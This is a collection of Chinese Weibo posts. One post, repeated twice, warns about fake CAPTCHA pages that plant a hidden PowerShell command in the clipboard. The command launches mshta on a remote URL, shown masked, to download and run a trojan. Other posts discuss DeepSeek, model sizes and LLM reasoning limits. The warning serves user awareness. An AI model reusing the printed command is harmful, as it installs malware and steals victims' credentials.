受害者现身说法……//@MZK豆豆:前几个月找油管下载脑袋发抽中招过，powershell远程下载了一个txt，里边有执行文件，一通找到运行程序位置和启动项，可惜还是密码泄露，PayPal盗刷了，申诉找回了。这种火绒扫不出来，真是坑
@t0mbkeeper
现在黑产有一种新的社交工程学挂马方案。你访问一些网站的时候，网页忽然弹出提示，让你证明自己是真人。这倒也很常见，于是你点了一下那个验证窗口，又弹出提示，让你按 Win+R，然后 Ctrl+V，再回车（图一）。你按下 Win+R，发现弹出一个窗口。再按 Ctrl+V，窗口里出现了：✅ 'I am not a robot: CAPTCHA Verification UID: 7811'（图二）。这好像真的是在做验证。但这时只要你再按一下回车，你的电脑就会下载并执行攻击者的木马。因为在你最开始点击那个验证窗口的时候，网站向你的剪贴板中写入的内容实际是：powershell -w 1 -C "$l='hττps://AAAAAAAA.AAA/AAAAAA.mp4';Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('ms' + 'hta' + '.exe '+$l)}" # ✅ 'I am not a robot: CAPTCHA Verification UID: 7811'这是一条下载并执行木马的命令。因为 Win+R 弹出的那个命令执行输入框地宽度有限，对过长的输入行只显示末尾部分。攻击者精确地控制内容长度，巧妙地让你只能看到末尾那段一点都不可疑的内容。等你明白过来的时候，已经晚了。图三显然是一个受害者。
现在黑产有一种新的社交工程学挂马方案。你访问一些网站的时候，网页忽然弹出提示，让你证明自己是真人。这倒也很常见，于是你点了一下那个验证窗口，又弹出提示，让你按 Win+R，然后 Ctrl+V，再回车（图一）。你按下 Win+R，发现弹出一个窗口。再按 Ctrl+V，窗口里出现了：✅ 'I am not a robot: CAPTCHA Verification UID: 7811'（图二）。这好像真的是在做验证。但这时只要你再按一下回车，你的电脑就会下载并执行攻击者的木马。因为在你最开始点击那个验证窗口的时候，网站向你的剪贴板中写入的内容实际是：powershell -w 1 -C "$l='hττps://AAAAAAAA.AAA/AAAAAA.mp4';Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('ms' + 'hta' + '.exe '+$l)}" # ✅ 'I am not a robot: CAPTCHA Verification UID: 7811'这是一条下载并执行木马的命令。因为 Win+R 弹出的那个命令执行输入框地宽度有限，对过长的输入行只显示末尾部分。攻击者精确地控制内容长度，巧妙地让你只能看到末尾那段一点都不可疑的内容。等你明白过来的时候，已经晚了。图三显然是一个受害者。
DeepSeek 目前是个实验室型的公司，所以苹果没有选择 DeepSeek 并不奇怪。伺候甲方不是光技术好就行的。即便苹果要选择和 DeepSeek 合作，恐怕也得再引入一个有成熟 toB 经营班子的第三方，由第三方直接提供服务，而 DeepSeek 在背后做技术支持。但这样就太复杂了。
是的，我们没办法，因为要产生高质量数据，客户指定必须用q8量化，671B来跑数据//@agentzh:估计这些厂商最大参数规模的大模型都像 @梁斌penny 的厂那样自己拿来造数据，或者用来蒸馏中小规模的 LLM 了。后者才能比较经济地放出去给大家用啊。
@agentzh
今天 OpenAI 的老大 Sam 终于在 X 上提到了 GPT-4.5 和 GPT-5 的计划。我估计他们内部早就训练出一版 GPT-4.5 了，只不过运行代价太高，性价比太低，只是内部使用。Anthropic 难产的 Claude 3.5 Opus 模型应该也是类似情况。像 Deepseek R1/V3 满血版都要至少 8 块 H200 或 H100 才能跑利索，这种参数规模的大模型很难对外放开服务了。 #ai创造营# #ChatGPT# #LLM#
我之所以想起来要做这个实验（微博正文）是因为在更早之前，我把创造 BadTunnel 所用到的全部背景知识都告诉了大模型，试图让大模型自己推理出 BadTunnel，但无论如何都做不到。而且，由于 BadTunnel 的影响很大，大模型的训练数据里一定已经包含了相关信息。当时我发现在推理链的一些关键环节上，大模型坚决地认为就是做不到。即便是符合逻辑的，也认为做不到。这最大的可能就是受到了海量相关资料的影响。Translate contentt0mbkeeper 的微博终于设计出一个大模型干不了的任务，怎么给提示词都干不了。而且这个任务既不复杂也不难，用到的相关知识属于任何大模型训练都一定会纳入的内容。 我分析了一下，原因可能是： 1、网上有很多容易和这个任务混淆的内容。所以无论怎么详细设定目标，大模型都会误解提示词的意图。 2、涉及相关技术的文档
回复@贪心寡淡人:不是已知的大模型不擅长的问题类型。恰恰是大模型很擅长的任务，而且和价值观对齐没关系。//@贪心寡淡人:9.11比9.6大
@t0mbkeeper
终于设计出一个大模型干不了的任务，怎么给提示词都干不了。而且这个任务既不复杂也不难，用到的相关知识属于任何大模型训练都一定会纳入的内容。我分析了一下，原因可能是：1、网上有很多容易和这个任务混淆的内容。所以无论怎么详细设定目标，大模型都会误解提示词的意图。2、涉及相关技术的文档都说不推荐这样做。所以即便直接给出解决问题的方法，让大模型去实现，大模型还是会用规规矩矩的标准方法来实现。也就是说，大模型能创造新内容，但可能没办法突破藩篱创造新范式。训练数据给大模型知识的同时也给了大模型限制。大模型就像是有一亿只耳朵的学生，可以同时听一亿个老师讲课，学到一亿个老师的本领。这当然是很惊人的，但这一亿个老师也会成为大模型进一步发展的障碍。因为其中哪怕有十个爱因斯坦，教学成果也会被稀释在一亿个老师的海洋里。光靠打标提高权重的作用可能也有限。就像郭靖跟江南七怪学，把七个人的本事都学了，也就那样，但遇到马钰稍微一点拨就不同了，跟洪七公学了之后更是不得了。但如果九个人一起教，最终成果可能也很一般。也许 AI 发展的再下一步就不是这种喂人类数据的模式了。